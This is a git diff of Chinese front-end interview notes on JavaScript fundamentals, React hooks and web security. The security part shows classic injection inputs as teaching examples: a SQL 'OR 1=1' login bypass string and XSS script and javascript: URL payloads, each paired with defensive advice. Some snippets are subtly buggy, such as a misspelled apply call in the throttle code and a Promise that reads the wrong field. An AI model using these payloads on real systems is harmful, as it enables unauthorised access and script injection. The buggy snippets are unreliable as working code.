```javascript ```javascript
var class2type = {}; var class2type = {};
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'.split(' ').map((item, index) => { 'Boolean Number String Function Array Date RegExp Object Error Null Undefined'
.split(' ')
.map((item, index) => {
class2type['[object ' + item + ']'] = item.toLowerCase(); class2type['[object ' + item + ']'] = item.toLowerCase();
}) });
function type(obj) { function type(obj) {
return typeof obj === 'object' || typeof obj === 'function' ? return typeof obj === 'object' || typeof obj === 'function'
class2type[{}.toString.call(obj)] || 'object' : typeof obj; ? class2type[{}.toString.call(obj)] || 'object'
: typeof obj;
} }
``` ```
### 防抖 ### 防抖
原理:创建一个闭包,然后通过调用创建好的函数和入参去执行
应用场景是为了防止用户误触,而产生多次事件的触发,根本就是为了节省性能消耗
```javascript ```javascript
/* /*
* func需要调用的函数 * func需要调用的函数
@ -441,6 +402,24 @@ var debounce = function (func, wait, immediate) {
} }
``` ```
## 节流
使用场景:把动作中的持续调用设置为固定时间内的调用,比如滚动事件,鼠标移入移出。
```js
const throttle = (fuc, delay) => {
let time = null;
return function () {
const currentTime = new Date();
if (currentTime - time > delay) {
fuc.appy(this, arguments);
time = currentTime;
}
};
};
```
### 四则运算符 ### 四则运算符
@ -454,16 +433,12 @@ var debounce = function (func, wait, immediate) {
![image.png](./img/this.png) ![image.png](./img/this.png)
### ===== 有什么区别 ### ===== 有什么区别
== 对比类型不一样会进行类型转换,而 === 不会,下图为 == 的判断步骤: == 对比类型不一样会进行类型转换,而 === 不会,下图为 == 的判断步骤:
![image.png](./img/equal.png) ![image.png](./img/equal.png)
### 什么是闭包? ### 什么是闭包?
定义:函数 A 中有一个函数 B函数 B 可以访问 A 的变量,那么函数 B 就是闭包。 定义:函数 A 中有一个函数 B函数 B 可以访问 A 的变量,那么函数 B 就是闭包。
@ -471,6 +446,7 @@ var debounce = function (func, wait, immediate) {
- 闭包就是引用其他函数内部变量的函数 - 闭包就是引用其他函数内部变量的函数
1. 循环中使用闭包解决 `var` 定义函数的问题 1. 循环中使用闭包解决 `var` 定义函数的问题
```javascript ```javascript
方法1 方法1
for (var i = 1; i <= 5; i++) { for (var i = 1; i <= 5; i++) {
@ -532,9 +508,9 @@ const useCount = () = {
```js ```js
const fn = (cb: (name: string) => void) => { const fn = (cb: (name: string) => void) => {
let name = 'nicecode' let name = 'nicecode';
cb(name) cb(name);
} };
``` ```
### 如何理解原型?如何理解原型链? ### 如何理解原型?如何理解原型链?
@ -543,9 +519,9 @@ const fn = (cb: (name: string) => void) => {
当读取实例的属性获取不到时,如果找不到,就会查找与对象关联的原型中的属性,还找不到就会去找原型的原型,一直到顶层,这样的一层层的关系嵌套称为**原型链** 当读取实例的属性获取不到时,如果找不到,就会查找与对象关联的原型中的属性,还找不到就会去找原型的原型,一直到顶层,这样的一层层的关系嵌套称为**原型链**
1. 每一个对象都有**__proto__**这是浏览器早期为了让我们能访问 prototype。 1. 每一个对象都有****proto****这是浏览器早期为了让我们能访问 prototype。
2. _ _proto__ 的 constructor构造函数里面有 prototype。 2. \_ \_proto\_\_  的 constructor构造函数里面有 prototype。
3. _ _proto__ 下面有几个方法hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf 3. \_ \_proto\_\_  下面有几个方法hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
4. 原型的  `constructor`  属性指向构造函数,构造函数又通过  `prototype`  属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()`  就没有这个属性。 4. 原型的  `constructor`  属性指向构造函数,构造函数又通过  `prototype`  属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()`  就没有这个属性。
![image.png](./img/prototype.png) ![image.png](./img/prototype.png)
@ -557,24 +533,34 @@ promise 的出现是为了解决回调地狱callback hell它的其他AP
1. all处理所有 promise 事件回调的合集) 1. all处理所有 promise 事件回调的合集)
```js ```js
let p1 = new Promise(function(resolve, reject) { resolve('ok1') }) let p1 = new Promise(function (resolve, reject) {
let p2 = new Promise(function(resolve, reject) { resolve('ok2') }) resolve('ok1');
let p3 = Promise.reject('err') });
let p2 = new Promise(function (resolve, reject) {
resolve('ok2');
});
let p3 = Promise.reject('err');
let res = Promise.all([p1,p2]).then(res => console.log(res)) let res = Promise.all([p1, p2]).then((res) => console.log(res));
// ['ok1', 'ok2'] // ['ok1', 'ok2']
let res2 = Promise.all([p1,p2,p3]).then(res => console.log(res)).catch(err => console.error(err)) let res2 = Promise.all([p1, p2, p3])
.then((res) => console.log(res))
.catch((err) => console.error(err));
// err // err
``` ```
2. race获取最快的返回结果 2. race获取最快的返回结果
```js ```js
let p1 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok1'), 500) }) let p1 = new Promise(function (resolve, reject) {
let p2 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok2'), 1500) }) setTimeout(() => resolve('ok1'), 500);
});
let p2 = new Promise(function (resolve, reject) {
setTimeout(() => resolve('ok2'), 1500);
});
let res = Promise.race([p1,p2]).then(res => console.log(res)) // ok1 let res = Promise.race([p1, p2]).then((res) => console.log(res)); // ok1
``` ```
3. allSettled忽视 reject 3. allSettled忽视 reject
@ -590,7 +576,6 @@ const PENDING = 'PENDING'; // 处理中
const FULFILLED = 'FULFILLED'; // 已完成 const FULFILLED = 'FULFILLED'; // 已完成
const REJECTED = 'REJECTED'; // 已拒绝 const REJECTED = 'REJECTED'; // 已拒绝
class Prom { class Prom {
constructor(executor) { constructor(executor) {
// 默认状态为 PENDING // 默认状态为 PENDING
@ -602,61 +587,58 @@ class Prom {
let resolve = (val) => { let resolve = (val) => {
if (this.status === PENDING) { if (this.status === PENDING) {
this.status = FULFILLED this.status = FULFILLED;
this.value = val this.value = val;
}
} }
};
let reject = (err) => { let reject = (err) => {
if (this.status === PENDING) { if (this.status === PENDING) {
this.status = REJECTED this.status = REJECTED;
this.error = err this.error = err;
}
} }
};
try { try {
// 立即执行,将 resolve 和 reject 函数传给使用者 // 立即执行,将 resolve 和 reject 函数传给使用者
executor(resolve, reject) executor(resolve, reject);
} catch (error) { } catch (error) {
// 发生异常时执行失败逻辑 // 发生异常时执行失败逻辑
reject(error) reject(error);
} }
} }
then(onFulfilled, onReject) { then(onFulfilled, onReject) {
if (this.status === FULFILLED) { if (this.status === FULFILLED) {
onFulfilled(this.value) onFulfilled(this.value);
} }
if (this.status === REJECTED) { if (this.status === REJECTED) {
onReject(this.reason) onReject(this.reason);
} }
} }
} }
export default () => { export default () => {
const [text, setText] = useState(PENDING) const [text, setText] = useState(PENDING);
useEffect(() => { useEffect(() => {
const promise = new Prom((resolve, reject) => { const promise = new Prom((resolve, reject) => {
resolve('成功'); resolve('成功');
}).then( }).then(
(data) => { (data) => {
setText(data) setText(data);
console.log('手写promise', data) console.log('手写promise', data);
}, },
(err) => { (err) => {
setText(err) setText(err);
console.log('faild', err) console.log('faild', err);
} },
) );
}, []) }, []);
return (
<div>{text}</div>
)
}
return <div>{text}</div>;
};
``` ```
## async 和 await ## async 和 await
@ -666,6 +648,7 @@ export default() => {
## 柯里化 ## 柯里化
特点: 特点:
1. 组合函数:可以将函数的逻辑简单化,并且达到更细粒度的代码拆分和复用 1. 组合函数:可以将函数的逻辑简单化,并且达到更细粒度的代码拆分和复用
2. 延迟执行:可以延迟执行最后一个参数执行的时间,在期间做一些其他逻辑的执行,剩余的到后面再决定 2. 延迟执行:可以延迟执行最后一个参数执行的时间,在期间做一些其他逻辑的执行,剩余的到后面再决定
3. 简单化函数:将参数从多参数拆为单参数,让接口简洁,更容易使用 3. 简单化函数:将参数从多参数拆为单参数,让接口简洁,更容易使用
@ -676,28 +659,65 @@ import React, { useEffect } from 'react';
function curry(a: number) { function curry(a: number) {
return function (b: number) { return function (b: number) {
return function (offset: number) { return function (offset: number) {
return a + b + offset return a + b + offset;
} };
} };
} }
export default () => { export default () => {
curry(1)(2)(3) curry(1)(2)(3);
return ( return <div>柯里化函数</div>;
<div>柯里化函数</div> };
)
}
``` ```
## event loop ## event loop 事件循环机制
js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为执行栈,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为 **执行栈**,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop
宏任务大概有setTimeout()、setInterval()、setImmediate()、I/O、用户交互操作UI 渲染 宏任务大概有setTimeout()、setInterval()、setImmediate()、I/O、用户交互操作UI 渲染
微任务则有promise.then()、promise.catch()、new MutationObserver、process.nextTick() 微任务则有promise.then()、promise.catch()、new MutationObserver、process.nextTick()
```js
// 抽现转具象的描述事件循环
{
tasks: [
{
script: '主代码块',
},
{
script: 'innter的click回调函数',
microtasks: [
{
script: 'Promise',
},
{
script: 'MutationObserver',
},
],
},
{
script: 'outer的click回调函数',
microtasks: [
{
script: 'Promise',
},
{
script: 'MutationObserver',
},
],
},
{
script: 'setTimeout',
},
{
script: 'setInterval',
},
];
}
```
## 堆、栈的区别 ## 堆、栈的区别
1. 基本数据类型一般内存小,放在栈中;引用数据类型一般内存大,放在堆中 1. 基本数据类型一般内存小,放在栈中;引用数据类型一般内存大,放在堆中
@ -708,7 +728,9 @@ js 执行的过程中,会创建对应的执行上下文放入栈中,我们
执行 js 的过程中,根据对象的存活时间进行不同的分代,然后根据不同的分代采用不同的回收算法 执行 js 的过程中,根据对象的存活时间进行不同的分代,然后根据不同的分代采用不同的回收算法
新生代的空间换时间 scavenge 算法是1. 执行的过程中将空间分为 From 和 To 两块2. 判断是否满足存活条件存活的将变量复制到另一个空间3. 不存活的直接清理。4. 将From 和 To 空间交换,如此循环往复 新生代的空间换时间 scavenge 算法是1. 执行的过程中将空间分为 From 和 To 两块2. 判断是否满足存活条件存活的将变量复制到另一个空间3. 不存活的直接清理。4. 将 From 和 To 空间交换,如此循环往复。
另外就是新生代的内存为 8M 左右,属于一个短期生命变量储存的区域,如果在执行新生代算法标记的过程中,发现某个变量多次出现,就会移交到老生代垃圾回收算法区
老生代的标记清除和整理,运行的时候将活跃的变量标记,并进行整理到内存的一端,移除那些不活跃的空间进行释放回收 老生代的标记清除和整理,运行的时候将活跃的变量标记,并进行整理到内存的一端,移除那些不活跃的空间进行释放回收

View File

@ -18,11 +18,11 @@ eval 的作用是将用户输入的字符串转化为可执行的代码,类似
严格模式下的变量 **重复声明** 等操作会抛出一些隐藏的错误。 严格模式下的变量 **重复声明** 等操作会抛出一些隐藏的错误。
```javascript ```javascript
'use strict' 'use strict';
var obj = { var obj = {
a: '1', a: '1',
a: '2' a: '2',
} };
// 抛出错误 syntax error // 抛出错误 syntax error
``` ```
@ -52,30 +52,23 @@ child_process.exec('ls', function (err, data) {
## 7. 临时文件 ## 7. 临时文件
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。 创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
> 使用 Streams。 > 使用 Streams。
## 8. 加密 Web 应用 ## 8. 加密 Web 应用
用 https 代替 http请求的过程可以添加签名头。 用 https 代替 http请求的过程可以添加签名头。
## 9. Reflected Cross Site Scripting ## 9. Reflected Cross Site Scripting
也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM这可能会出现安全问题例如 也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM这可能会出现安全问题例如
```javascript ```javascript
//用户输入的数据中带脚本,如果不做处理,会被执行。 //用户输入的数据中带脚本,如果不做处理,会被执行。
Im human <script>alert('Im hacker')<script> Im human <script>alert('Im hacker')<script>
``` ```
> 处理方式1. 对插入的数据进行验证,除去 HTML。 > 处理方式1. 对插入的数据进行验证,除去 HTML。
## 10. 看好你的 cookie ## 10. 看好你的 cookie
@ -107,6 +100,50 @@ Content-Security-Policy: default-src 'self' *.mydomain.com
9. code splitting 按需加载页面的某个模块,提升页面加载速度 9. code splitting 按需加载页面的某个模块,提升页面加载速度
10. 使用 placeholder 和 lazy-load 提升页面性能 10. 使用 placeholder 和 lazy-load 提升页面性能
## 遇到性能问题,页面加载速度慢,如何解决?
通过使用工具(比如 Lighthouse进行性能分析找出性能瓶颈。
压缩和合并文件,减少 HTTP 请求。
使用懒加载技术,仅在需要时加载图片和其他资源。
优化图片大小和格式,以减小文件大小。
引入缓存机制,减少不必要的重复请求。
使用 CDN内容分发网络加速资源加载。
问题:在跨浏览器兼容性方面遇到了什么问题?
## 我在一个项目中经历了跨浏览器兼容性的挑战。解决方法包括:
使用 CSS 前缀来处理不同浏览器的样式。
使用特性检测feature detection而非浏览器检测以确保代码在不同浏览器中正常运行。
使用 Polyfills 填充 JavaScript 功能缺失。
定期检查并更新代码,以适应新版本的浏览器。
问题:遇到了一个难以调试的问题,是如何找到并解决的?
## 对于组件库开发的一些注意事项
1. 明确定义组件的用途和功能: 在开始开发之前,确保清晰地定义组件的用途和功能。考虑到组件库的可重用性,设计组件时应该尽量使其通用,同时提供足够的配置选项。
2. 选择开发工具: 选择适当的开发工具,例如构建工具(如 Webpack、Rollup、版本控制工具如 Git、代码编辑器等。这些工具能够提高开发效率并帮助你管理项目的复杂性。
3. 制定组件 API 定义清晰的组件 API包括组件的属性、方法、事件等。良好设计的 API 可以提高组件的易用性,并使用户更容易理解如何使用你的组件。
4. 组件的独立性: 确保组件是相互独立的,不依赖于外部环境的状态。这有助于提高组件的可移植性和可维护性。
5. 文档编写: 编写清晰、详细的文档包括组件的使用方法、配置选项、API 文档、示例代码等。文档是用户了解和使用组件的关键,因此需要投入足够的时间和精力。
6. 测试: 编写单元测试和集成测试,确保组件的稳定性和可靠性。测试有助于捕捉潜在的问题,减少 bug并提高代码质量。
7. 可定制性: 考虑组件的可定制性通过提供配置选项或插槽slot等机制使用户能够根据自己的需求调整组件的外观和行为。
8.主题化: 如果可能,考虑支持主题化,使用户能够轻松地更改组件的外观,以适应其应用的整体设计。
9. 版本管理: 使用语义化版本控制Semantic Versioning规范来管理组件库的版本以确保用户能够明确了解每个版本的变化。
10. 发布和分发: 配置发布流程,将组件库发布到合适的包管理器(如 npm。确保发布的组件库能够方便地被用户引入和使用。
11. 社区参与: 如果你希望你的组件库成为一个开放的社区项目,考虑设立一个开发者社区,接受用户的反馈、贡献和建议。
12. 持续维护: 组件库的维护是一个长期的过程。及时响应用户反馈,修复 bug保持文档的更新适应新的技术和标准。
## 参考文章 ## 参考文章
源码分析<https://react.iamkasong.com/#%E7%AB%A0%E8%8A%82%E8%AF%B4%E6%98%8E> 源码分析<https://react.iamkasong.com/#%E7%AB%A0%E8%8A%82%E8%AF%B4%E6%98%8E>

View File

@ -27,24 +27,32 @@ react 需要经历两个阶段:
16 以前的版本是将更新渲染直接入栈出栈队列执行diff 算法本质上是一种递归,递归无法中断,这种形式可能会由于 IO 堵塞从而导致页面卡顿丢帧。 16 以前的版本是将更新渲染直接入栈出栈队列执行diff 算法本质上是一种递归,递归无法中断,这种形式可能会由于 IO 堵塞从而导致页面卡顿丢帧。
而 fiber 架构有效的改良了这一点,使用的是一种循环机制,将整个任务渲染切片成无数个小任务,发放到每个细分的时间节点中执行,优先处理最紧急的任务,有效降低了卡顿的情况发生。 而 fiber 架构有效的改良了这一点,使用的是一种循环机制,将整个任务渲染切片成无数个小任务,发放到每个细分的时间节点中执行,优先处理最紧急的任务,有效降低了卡顿的情况发生。
另外我们需要了解人眼的 另外我们需要了解人眼的视觉习惯,如下图所示
![image.png](./img/fiber.jpeg) ![image.png](./img/fiber.jpeg)
## hooks组件 相比较传统 class组件 的区别 ## hooks 组件 相比较传统 class 组件 的区别
## 优点 ### 优点
1. 解决了 HOC 的嵌套问题,扁平式状态逻辑更加简洁 1. 解决了 HOC 的嵌套问题,扁平式状态逻辑更加简洁
2. 解决了类组件的 this 指向问题 2. 解决了类组件的 this 指向问题
3. 分割在不同生命周期的代码使得代码难以维护 3. 分割在不同生命周期的代码使得代码难以维护
4. 降低代码的复用成本,减少每个组件继承 react.component,大大提升性能 4. 降低代码的复用成本,减少每个组件继承 react.component,大大提升性能
## 缺点 ### 缺点
1. 额外的学习成本 1. 额外的学习成本
2. 没有类组件的生命周期,也就没办法和 ComponentUpdate 一样获取组件上的新旧数据做比较(性能优化上就少了一环) 2. 没有类组件的生命周期,也就没办法和 ComponentUpdate 一样获取组件上的新旧数据做比较(性能优化上就少了一环)
## 为什么 hooks 要放在最外层
函数式组件他们由于新的 fiber 架构的关系,有自己的一套执行顺序,会形成一个自己的链表结构,也就是所谓的 mountWorkingProgressstateHook -> memoHook -> refHook -> effectHook
如果将某个过程中的 hook 定义放在条件语句中,这个链表结构就会被破坏。
![image.png](./img/hooks.png)
## memo 和 PureComponent ## memo 和 PureComponent
理论上父组件状态更新但是传递给子组件的内容没更新子组件不应该重新渲染memo 和 PureComponent 都是为了减少父组件的刷新导致子组件的额外渲染,区别是 memo 针对的是函数组件PureComponent 针对的则是类组件。 理论上父组件状态更新但是传递给子组件的内容没更新子组件不应该重新渲染memo 和 PureComponent 都是为了减少父组件的刷新导致子组件的额外渲染,区别是 memo 针对的是函数组件PureComponent 针对的则是类组件。
@ -52,17 +60,13 @@ react 需要经历两个阶段:
```js ```js
class Component extends React.PureComponent { class Component extends React.PureComponent {
render() { render() {
return ( return <div>类组件</div>;
<div>类组件</div>
)
} }
} }
const Component = React.memo(() => { const Component = React.memo(() => {
return ( return <div>函数组件</div>;
<div>函数组件</div> });
)
})
``` ```
## useMemo ## useMemo
@ -72,21 +76,21 @@ const Component = React.memo(() => {
一般是如果一个引用数据,会在多个 hook 里被使用,或者是需要以 props 的形式传递给子组件,则需要包裹。 一般是如果一个引用数据,会在多个 hook 里被使用,或者是需要以 props 的形式传递给子组件,则需要包裹。
```jsx ```jsx
import React, { useMemo, useEffect, useState } from 'react' import React, { useMemo, useEffect, useState } from 'react';
export default () => { export default () => {
const [data1, setData1] = useState(1) const [data1, setData1] = useState(1);
const [data2, setData2] = useState(1) const [data2, setData2] = useState(1);
const memo1 = useMemo(() => { const memo1 = useMemo(() => {
console.log('执行memo') console.log('执行memo');
return data1 return data1;
}, [data1]) }, [data1]);
const f2 = (() => { const f2 = (() => {
console.log('执行f2') console.log('执行f2');
return data2.toString() return data2.toString();
})() })();
return ( return (
<div className="demo1"> <div className="demo1">
@ -96,10 +100,85 @@ export default () => {
<button onClick={() => setData1(data1 + 1)}>f1按钮</button> <button onClick={() => setData1(data1 + 1)}>f1按钮</button>
<button onClick={() => setData2(data2 + 1)}>F2按钮</button> <button onClick={() => setData2(data2 + 1)}>F2按钮</button>
</div> </div>
) );
} };
``` ```
## useEffect 和 useLayoutEffect 的区别
主要区别:
1. useEffect 是执行在编译和渲染之后,在第二个渲染周期才会执行,而且属于异步操作
2. useLayoutEffect 则是执行在编译之后和渲染之前,可以在渲染之前就立刻进行样式的更改
实际使用场景有 tooltip 通过宽度,判断展示位置应该处于上方还是下方
他们之间的差异如果用代码展示效果,可以从下面的代码来看出区别(建议使用差网络效果更明显):
```jsx
import React, { useEffect, useLayoutEffect, useState, useRef } from 'react';
function BoxComparison() {
const [heightEffect, setHeightEffect] = useState(0);
const [heightLayoutEffect, setHeightLayoutEffect] = useState(0);
const refEffect = useRef(null);
const refLayoutEffect = useRef(null);
useEffect(() => {
if (refEffect.current) {
setHeightEffect(refEffect.current.offsetWidth);
}
}, []);
useLayoutEffect(() => {
if (refLayoutEffect.current) {
setHeightLayoutEffect(refLayoutEffect.current.offsetWidth);
}
}, []);
return (
<div>
<div>
<div
ref={refEffect}
style={{ width: '200px', height: '50px', background: 'lightgray' }}
>
使用 useEffect
</div>
<div
style={{
width: '100px',
height: `${heightEffect}px`,
background: 'red',
marginTop: '10px',
}}
>
红色方块
</div>
</div>
<div style={{ marginTop: '30px' }}>
<div
ref={refLayoutEffect}
style={{ width: '200px', height: '50px', background: 'lightgray' }}
>
使用 useLayoutEffect
</div>
<div
style={{
width: '100px',
height: `${heightLayoutEffect}px`,
background: 'blue',
marginTop: '10px',
}}
>
蓝色方块
</div>
</div>
</div>
);
}
export default BoxComparison;
```
## useCallback ## useCallback
@ -108,19 +187,19 @@ export default () => {
使用原则也和 useMemo 保持一致 使用原则也和 useMemo 保持一致
```jsx ```jsx
import React, { useEffect, useCallback, useState } from 'react' import React, { useEffect, useCallback, useState } from 'react';
const Btn = React.memo((props) => { const Btn = React.memo((props) => {
const [txt1, setTxt1] = useState(0) const [txt1, setTxt1] = useState(0);
const [txt2, setTxt2] = useState(0) const [txt2, setTxt2] = useState(0);
useEffect(() => { useEffect(() => {
setTxt1(txt1 + 1) setTxt1(txt1 + 1);
},[props.fn1]) }, [props.fn1]);
useEffect(() => { useEffect(() => {
setTxt2(txt2 + 1) setTxt2(txt2 + 1);
}, [props.fn2]) }, [props.fn2]);
return ( return (
<div> <div>
@ -130,20 +209,20 @@ const Btn = React.memo((props) => {
<button onClick={() => props.fn1()}>按钮1</button> <button onClick={() => props.fn1()}>按钮1</button>
<button onClick={() => props.fn2()}>按钮2</button> <button onClick={() => props.fn2()}>按钮2</button>
</div> </div>
) );
}) });
export default () => { export default () => {
const [data1, setData1] = useState(1) const [data1, setData1] = useState(1);
const fn1 = useCallback(() => { const fn1 = useCallback(() => {
console.log('使用了回调缓存') console.log('使用了回调缓存');
setData1(data1 + 1) setData1(data1 + 1);
}, []) }, []);
const fn2 = () => { const fn2 = () => {
setData1(data1 + 1) setData1(data1 + 1);
} };
return ( return (
<div className="demo1"> <div className="demo1">
@ -152,25 +231,89 @@ export default () => {
<button onClick={fn1}>父级按钮</button> <button onClick={fn1}>父级按钮</button>
<Btn fn1={fn1} fn2={fn2} /> <Btn fn1={fn1} fn2={fn2} />
</div> </div>
) );
};
```
## useContext 和 Provider
让开发者从多层嵌套中解脱出来,能实现跨层级数据共享
```jsx
import { createContext, useContext, useState } from 'react';
const ThemeContext = createContext(null);
const CurrentUserContext = createContext(null);
function Toolbar() {
return (
<div>
<LoginButton />
</div>
);
}
function LoginButton() {
const { currentUser, setCurrentUser } = useContext(CurrentUserContext);
if (currentUser !== null) {
return <p>You logged in as {currentUser.name}.</p>;
}
return (
<Button
onClick={() => {
setCurrentUser({ name: 'Advika' });
}}
>
Log in
</Button>
);
}
export default function MyApp() {
const [theme, setTheme] = useState('light');
const [currentUser, setCurrentUser] = useState(null);
return (
<ThemeContext.Provider value={theme}>
<CurrentUserContext.Provider
value={{
currentUser,
setCurrentUser,
}}
>
<Toolbar />
<button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
Toggle Theme
</button>
</CurrentUserContext.Provider>
</ThemeContext.Provider>
);
} }
``` ```
## useRef 和 forwardRef 的使用
useRef 的几个应用场景:
1. 可以用来获取 dom
2. 保存状态值,在不触发组件渲染的数据计算中使用
forwardRef 是用来自己封装组件时,将组件的 ref 暴露出来
## lazy ## lazy
懒加载组件,实现效果类似 webpack 的 code spliting。 懒加载组件,实现效果类似 webpack 的 code spliting。
```js ```js
import React, { lazy, Suspense } from 'react' import React, { lazy, Suspense } from 'react';
const Comp = lazy(() => { const Comp = lazy(() => {
return new Promise((resolve, reject) => { return new Promise((resolve, reject) => {
setTimeout(() => { setTimeout(() => {
resolve(import(/*webpackChunkName:"OtherComponent"*/'./OtherComponent')) resolve(import(/*webpackChunkName:"OtherComponent"*/ './OtherComponent'));
}, 2000) }, 2000);
}) });
}); });
export default () => { export default () => {
return ( return (
@ -181,7 +324,7 @@ export default () => {
</Suspense> </Suspense>
</div> </div>
); );
} };
``` ```
> 拓展:懒渲染可以参考 **react-visibility-observer** ,在页面滚动到可视范围时才加载相应的内容 > 拓展:懒渲染可以参考 **react-visibility-observer** ,在页面滚动到可视范围时才加载相应的内容
@ -218,7 +361,7 @@ export default () => {
1. 将要装载,在 render 之前调用; 1. 将要装载,在 render 之前调用;
2. 可以在服务端被调用,也可以在浏览器端被调用; 2. 可以在服务端被调用,也可以在浏览器端被调用;
3. componentWillMount 每一个组件 render 之前立即调用; 3. componentWillMount 每一个组件 render 之前立即调用;
4. 目前在17中已经遗弃了这个接口前缀为 UNSAFE_ 4. 目前在 17 中已经遗弃了这个接口,前缀为 UNSAFE\_
### componentDidMount ### componentDidMount
@ -229,19 +372,16 @@ export default () => {
## 手写一个简单的 useState ## 手写一个简单的 useState
```js ```js
const [type, setType] = useState(1) const [type, setType] = useState(1);
function useState(initData) { function useState(initData) {
let type = initData let type = initData;
let setType = (val) => { let setType = (val) => {
type = val type = val;
} };
return [ return [type, setType];
type,
setType
]
} }
``` ```
@ -254,3 +394,4 @@ redux 分为几个重要的概念1. store容器、2. state数据
## 参考文档 ## 参考文档
> https://juejin.cn/post/6844903922453200904 > https://juejin.cn/post/6844903922453200904
> <https://react.iamkasong.com/process/doubleBuffer.html#%E5%8F%8C%E7%BC%93%E5%AD%98fiber%E6%A0%91>

View File

@ -10,9 +10,7 @@ group:
# 安全 # 安全
1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法) 1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法)
1. 将需要提交的数据经过 filter 即可,如下: 2. 将需要提交的数据经过 filter 即可,如下:
```javascript ```javascript
浏览器自带转换为字符串 浏览器自带转换为字符串
@ -25,178 +23,124 @@ var newValue = safetools.reEncode(value)
var newValue = safetools.reDecode(value) var newValue = safetools.reDecode(value)
``` ```
> tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端! > tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
## 在项目里关于前端安全,可以采取以下措施
使用 HTTPS 确保数据在传输过程中的安全性。
验证用户输入,防范 XSS 攻击,使用 CORS 控制跨域资源访问。
更新依赖库和框架,以修补已知的安全漏洞。
避免在前端存储敏感信息,如密码,而依赖后端处理。
定期审查和更新安全策略,以适应新的威胁和最佳实践。
## 常见的攻击手段 ## 常见的攻击手段
### 1. SQL 脚本注入攻击于与防御 ### 1. SQL 脚本注入攻击于与防御
#### 概念 #### 概念
> 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection即 SQL 注入. > 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection即 SQL 注入.
#### 场景 #### 场景
语句 语句
```sql ```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');" strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
``` ```
如果恶意填入: 如果恶意填入:
> userName = "1' OR '1'='1"; passWord = "1' OR '1'='1"; > userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
既可实现无密码登录,美滋滋吧... 既可实现无密码登录,美滋滋吧...
#### 处理方式 #### 处理方式
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理! 前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
### 2. XSS 攻击与防御 ### 2. XSS 攻击与防御
#### 概念 #### 概念
> 跨站脚本Cross-site scripting通常简称为XSS是一种网站应用程序的安全漏洞攻击是代码注入的一种。它允许恶意用户将代码注入到网页上其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。 > 跨站脚本Cross-site scripting通常简称为XSS是一种网站应用程序的安全漏洞攻击是代码注入的一种。它允许恶意用户将代码注入到网页上其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。
> XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript但实际上也可以包括 JavaVBScriptActiveXFlash 或者甚至是普通的 HTML。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 cookie 等各种内容。 > XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript但实际上也可以包括 JavaVBScriptActiveXFlash 或者甚至是普通的 HTML。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 cookie 等各种内容。
#### 类型 #### 类型
##### 简单分类 ##### 简单分类
1. 反射型 xss 1. 反射型 xss
通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索 通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索
2. 储存型xss
2. 储存型 xss
通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论 通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论
##### 复杂分类 ##### 复杂分类
1. client 型 1. client 型
1. server 型 2. server 型
#### 处理方式 #### 处理方式
- 编码 - 编码
> 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击 > 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
- 过滤 - 过滤
> 有的语句并不完全依赖<>标签,例如 src="javascript:alert(1);" > 有的语句并不完全依赖<>标签,例如 src="javascript:alert(1);"
- 校正 - 校正
> 这个照理来说应该后端处理,目前没碰到这种场景 > 这个照理来说应该后端处理,目前没碰到这种场景
```javascript ```javascript
> 一个直播平台,用户可以进入观看,主播可以设置自己的昵称: > 一个直播平台,用户可以进入观看,主播可以设置自己的昵称:
var starNickName = '${starNickname}' var starNickName = '${starNickname}'
``` ```
这怕是要翻水水了...假设是我是主播,我把昵称设置为: 这怕是要翻水水了...假设是我是主播,我把昵称设置为:
```javascript ```javascript
